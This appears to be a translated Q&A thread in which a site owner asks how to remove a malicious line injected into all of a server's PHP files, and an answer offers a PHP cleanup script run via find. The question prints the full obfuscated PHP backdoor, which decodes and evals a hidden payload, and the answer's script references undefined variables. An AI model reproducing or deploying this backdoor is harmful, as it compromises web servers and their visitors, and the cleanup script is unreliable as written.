Question

恶意软件注入攻击后，我的网络服务器上的所有.php文件都被一行错误的代码感染了。

我的问题是如何从我的所有文件中删除这一行代码。坏代码如下。

另外，我不能删除整行，因为此代码在同一行结束后还有其他代码。

Python（我的服务器只支持3.2.3）或PHP都可以。

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $leyjxkhvsg = '22!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%5f%163%x74%141%x72%164")2%162%x61%171%x5f%155%x61%160%x28%42%x66%152%x66%147%x67%42%x2s%x5c%x785csboe))1%x5c%x782f35.)14]y76]61]y33]68]y34]%x78256<pd%x5c%x7825w6Z6<.5c%x7825))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssbr#%x5c%x785cq%x5c%x78257%x5c%x782f7#@#7%x5825r%x5c%x7878B%x5c%x7825h>#]y31]278]y3%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*72!%x5c%x7827!hx5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5cvg}k~~9{d%x5c%x7825:osvufs:~928>>%x5c%x78c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%x787fbE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gx787f;!|!}{;)gj}l;33bq}k;opjud)ufttj%x5c%x7822)gj6<^#Y#%x5c%x75c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyfmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bu2#-#!#-%x5c%x7825tmw)%x5c%x7829]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*d[k2%x5c%x7860{6:!}7;!}6]y7d]252]y74]256#<!%x5c%x7825ggg)(56%x75%156%x61"]=1; c%x785c1^W%x5c%x7825c!>!%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)2qj%x5c%x7825)7gj6<**2qj%x5c%x7825)h%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5c%x78#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]<#%x5c%x782f%x5c%x7825c%x782fq%x5c%x7825>2q%x5c%x7825<#4]6]234]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5c%x7825bs-#jt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>!SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%5%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x525!<*qp%x5c%x7825-*.%c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]8z-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825hIr%x5c%x785c1^-%x%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5c%t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x78242178}5y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%775]y83]248]y83]256]y81]265]y7if((function_exists("%x6f%142%xXA%x5c%x7827K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x78227error_reporting(0); preg_replace("c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x76g]257]y86]267]y74]275]yx7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825827&6<.fmjgA%x5c%x7827doj%x5c%x760ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%x5c%x7825!-#2#%x5c%x782f!osvufs}w;*%x5c%x787f!>>%x5c%x785tww**WYsboepn)%x5c%x7825bss-%x5c%x7%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x825<#462]47y]252]18y]#>q%x5c]y7d]252]y74]256]y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]2x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)3238256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x7885cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5f},;#-#}+;%x5c%x7825-qp%x5c%x7825)54l}%x5c%x7827;%x5fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|u%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x7c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfsx61%154%x28%151%x6d%160%x6c%157%x64%145%x28%141%x727}88:}334}472%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x25c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x7825j:=tj{fpg)%x5A%x5c%x78272qj%x5c%x78256<^#zsfv61%156%x75%156%x61"])))) { $GLOBALS["%x61%1860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x782]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%xr%x5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<*%x5c%x7825%x5c%x7878:-!%x5c%x7825tzw%x5c%%x7860hA%x5c%x7827pd%x5c%x78256<C%x;##}C;!>>!}W;utpi}Y;tuofuopd%*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%x78*#57]38y]47]67y]37]88y]27]28y]#%x5c%x782fr%x5c%x7825%x5c%x782<**qp%x5c%x7825!-uyfu%x55c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5x5c%x7860bj+upcotn+qs%x7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:<#64y]c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7824y4%x5c:**t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c:55946-tr.984:75983:48984:71]Kww2!>#p#%x5c%x782f#p#%x5c%x782f%x5c3", NULL); }x7878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y3>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%c%x782f7^#iubq#%x5c%x785ce]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-%x5c%##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]427]36]373c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787f%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x57:]268]y7f#<!%x5c%x7825tww!>%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*CW*ofmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]25-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%xg2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!552]e7y]#>n%x5c%x7825<#372]58y]472]37y]672]48y]#>s%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%22:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c25hW~%x5c%x7825fdy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D63%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5cx782f%x5c%x7824)#P#-#Q#-#B#-#T#-of.)fepdof.%x5c%x782f#@#%x5c%x782fqp%%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825!R17,67R37,#%x5c%x782fq%x5c%x7825>w6<*K)ftpmdXA6|7**197-2qj%x5c%x7c%163%x74%162%x5f%163%x70%154%x69%164%50%x22%134%x78%62%x35%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x787f_*#oj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825x7825)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x#]y76]277]y72]265]y39]274]y85]273]y6g]273]y76]271e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x7875c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7U;y]}R;2]},;osvufs}%x5c%x7827;mnui}&;zepc}A;~!}%x5c%71]y83]256]y78]248]y83]256]y81]265]y72]25824-%x5c%x7824tvctus)%x5c%x7825%x5c%x77825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZASV<*wx7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdc%x7825ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ey74]273]y76]252]y85]256]y},;uqpuft%x5c%x7860msv1M6]y3e]81#%x5c%x782f#7eP6]36]73]83]238M7]381]211M5]67]452]88]5]48]827pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5cc%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5U<#16,47R57,27R66,#%xx7822#)fepmqyfA>2b%x5c%x78x7825j:^<!%x5c%x7825w%x5c%x7860%x%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x5c%x78b%x5c%x7825mm)|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|5c%x782f2986+7**^%x5c%x782f%x5c%x!|!*!***b%x5c%x7825)sf%x5c%x7878pmpusut!x787f_*#ujojRk3%x5c%x7860{666~6<&w6<g6R85,67R37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofu5c%x7824-%x5c%x7824<%x5c%x7825j,,*!|%x-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x77825r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfwx5c%x7825>5h%x5c%x78f%x5c%x787f%x5c%x787f%x5c%x787f<u%x5c%xc%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!*uyfx7825w:!>!%x5c%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x7824-tusqpt)%x5#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%xx5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x7*X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_%x7825%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~60{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%x787fw6*%x5c%x5c%x7860ufh%x5c%x786**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepd6]258]y6g]273]y76]271]y7d]252]y74]256#x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!*7825r%x5c%x7878<~!!%x5c%x7825s:N}#-5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x7860msvd825z>3<!fmtf!%x5c%x7825z>2<!%x5x782f%x5c%x7825kj:-!OVMM*<(<5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782f#00-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%opm3qjA)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufh}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb274]y4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x7825eN+#Qi%x5*1?hmg%x5c%x7825)!gj!<**2-4-function fjfgg($n){return chr(ord($n)-1);} @-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]273]y76]27125!<*::::::-111112)eobs%x5c%%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x7825:|:*r%x5c%x7825:-!%x5c%x782400~:<h%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>32M3]317]445]212]445]43]321]464]284]36zbek!~!<b%x5c%x7825%x5c%x787f!<X>b%j!~<ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825d}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;2]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t2w>#]x7860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]2824<!%x5c%x7825mm!>!#]y81]273]y7824*<!%x5c%x7824-%x5c%x7824gps)%fe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{8786<C%x5c%x7827&6<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]oc%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudo!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5c%x782f14+9**-)1%xq%x5c%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvroj%x5c%x78257-C)fepmqnjA%x5c%x7opD#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%0fmjg}[;ldpt%x5c%x7825}K;%x5c%x7882f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}-%165%x3a%146%x21%76%x21%50%x5c%x7825%x5c%x7878:!>#]y<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824%x2f%50%x2e%52%x29%57%x65","%x65%166%vmt+fmhpph#)zbssb!-#}#)fepmqnj!%x5%x5c%x7825o:W%x5c%x78x5c%x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<**9.7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%7827,*b%x5c%x7827)fepdc%x7827u%x5c%x7825)7fmji%x5c%x7 && (!isset($GLOBALS["%x3g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%Df#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]5c%x7825kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]/(.*)/epreg_replacecrgdohsctb'; $ctvuikaisu = explode(chr((281-237)),'1983,31,44,24,9920,24,3161,43,1024,20,8115,44,2068,34,9605,37,2955,50,68,62,5119,59,9495,52,9944,48,6877,69,6092,64,183,26,4867,60,3451,35,738,60,4415,47,4319,68,9889,31,9004,58,3272,54,543,69,5087,32,4700,41,5785,55,2014,54,1112,36,7866,64,3129,32,268,42,4070,25,9204,45,5286,54,706,32,2619,44,4230,51,911,56,9249,31,2216,32,2574,45,7315,57,2901,54,1766,70,7372,62,6460,36,5178,64,967,23,3486,29,7434,21,9335,33,2248,48,7652,50,6003,22,8663,60,2319,32,0,44,9697,70,6585,59,6644,69,404,62,798,40,612,64,8602,61,8493,36,4462,57,8087,28,1275,70,4603,40,6350,37,9116,67,4996,58,4001,69,6220,26,1650,21,7082,66,9368,67,3026,38,9867,22,4959,37,6767,20,8307,28,2173,43,6420,40,7822,44,3703,21,9642,34,9815,52,5340,63,209,59,7201,51,1508,53,2527,47,8567,35,7557,60,7148,53,3641,24,6826,51,2772,61,3204,68,2663,52,9062,54,502,41,4741,36,1148,45,5242,44,7455,64,8943,61,5452,68,6787,39,5720,65,8452,41,5054,33,6199,21,1366,34,6496,51,9280,55,8793,44,5589,52,676,30,1193,47,4565,38,2296,23,8195,45,1456,52,5403,49,2461,66,1954,29,8723,70,5978,25,2149,24,4387,28,8397,55,3362,48,3580,61,2715,57,3823,45,3724,47,4643,57,2433,28,8335,62,1836,69,3005,21,8879,32,7519,38,9547,58,1610,40,2102,47,5682,38,6946,68,6156,43,3771,52,2387,46,6547,38,5520,69,8911,32,466,36,7252,63,1345,21,1561,49,10057,49,7965,65,8030,57,1044,26,7761,61,7014,68,6713,54,5931,47,1709,57,3665,38,1671,38,838,30,2351,36,310,39,4095,66,3945,56,6025,24,3868,30,868,43,4833,34,3326,36,9767,48,9992,65,9435,60,7930,35,3515,65,4777,56,4161,69,6049,43,8529,38,1400,56,130,33,9183,21,6387,33,7617,35,9676,21,3064,65,2833,68,349,55,6279,50,6246,33,1070,42,4281,38,3898,35,5896,35,7702,31,5840,56,6329,21,3410,41,4927,32,1240,35,8159,36,7733,28,8240,67,990,34,8837,42,5641,41,163,20,4519,46,1905,49,3933,12'); $cqensojxnj=substr($leyjxkhvsg,(64237-54131),(38-31)); if (!function_exists('tkbpjyadoi')) { function tkbpjyadoi($zizmnehenk, $ftlltuhgpg) { $mldxhxpypx = NULL; for($vzvtopjgec=0;$vzvtopjgec<(sizeof($zizmnehenk)/2);$vzvtopjgec++) { $mldxhxpypx .= substr($ftlltuhgpg, $zizmnehenk[($vzvtopjgec*2)],$zizmnehenk[($vzvtopjgec*2)+1]); } return $mldxhxpypx; };} $dpwwlulbeo="\x20\57\x2a\40\x73\165\x79\162\x64\151\x63\161\x70\157\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\62\x34\55\x38\67\x29\51\x2c\40\x63\150\x72\50\x28\64\x33\61\x2d\63\x33\71\x29\51\x2c\40\x74\153\x62\160\x6a\171\x61\144\x6f\151\x28\44\x63\164\x76\165\x69\153\x61\151\x73\165\x2c\44\x6c\145\x79\152\x78\153\x68\166\x73\147\x29\51\x29\73\x20\57\x2a\40\x6a\145\x6f\160\x74\153\x79\146\x76\157\x20\52\x2f\40"; $anprzirkfy=substr($leyjxkhvsg,(36319-26206),(48-36)); $anprzirkfy($cqensojxnj, $dpwwlulbeo, NULL); $anprzirkfy=$dpwwlulbeo; $anprzirkfy=(587-466); $leyjxkhvsg=$anprzirkfy-1; ?>

Answer 1

之前我确实看过这个，受感染文件的第一行是这样的：

<?php ...-- obfuscated code --..... ?><?php

Exploit会在打开php标签之前在第一行插入一堆php。

如果你想用php修复它，你可以使用这样的东西：

#!/usr/local/bin/php
<?php
$arr = file($argv[1]);
if (preg_match ('/^<\?php(.*)<\?php/', array_shift ($arr), $m)) {
  array_unshift ($arr,str_replace($m[0],'<?php',$l));
  file_put_contents($in,join ("",$arr));
}

如果将其保存在文件fix.php中，则可以将其称为

find /path/to/dir/with/php/files -name "*.php" -exec ./fix.php {} \;

在php中执行递归文件搜索会有点愚蠢，因为find可以更轻松。

在目录中使用php递归替换长字符串文本

1 个答案: